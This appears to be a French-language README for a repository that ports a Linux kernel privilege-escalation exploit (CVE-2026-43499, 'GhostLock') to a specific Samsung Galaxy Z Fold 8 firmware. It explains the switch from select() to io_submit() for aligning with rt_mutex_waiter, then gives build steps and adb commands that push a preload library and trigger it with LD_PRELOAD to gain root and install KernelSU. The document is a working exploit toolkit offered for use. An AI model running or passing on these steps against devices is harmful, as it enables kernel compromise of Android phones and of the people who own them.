
GhostLock CVE-2026-43499 port pour Galaxy Z Fold 8 (h8q)
La majeure partie de ce code est basée sur le fork de @polygraphene de l'original.
Des modifications importantes ont été nécessaires car le primer principal (select()) utilisé par la plupart des variantes publiées de l'exploit ne s'aligne pas correctement avec la structure rt_mutex_waiter sur ces cibles Samsung 6.12. io_submit() est utilisé à la place.
Fonctionne : h8q-F971USQU1AZFW (SM-F971U, P0=0xc7800000). Compilation avec make PROJECT=h8q-F971USQU1AZFW.
git clone (ce dépôt)
cd (ce dépôt)
export ANDROID_NDK_ROOT=(votre chemin ndk)
make
Compilez ksud + kernelsu.ko en utilisant cet arbre de polygraphene et en suivant cette instruction. Cet arbre contient un patch de BuSung-dev/Root-My-Galaxy et une adaptation 6.12.
$ adb install /path/to/KernelSu_Manager.apk
$ adb push build/preload.so /data/local/tmp/
$ adb push $KERNELSU/target/aarch64-linux-android/release/ksud /data/local/tmp/
$ adb shell env LD_PRELOAD=/data/local/tmp/preload.so sh -c 'echo PWND'
io_submit pour q8q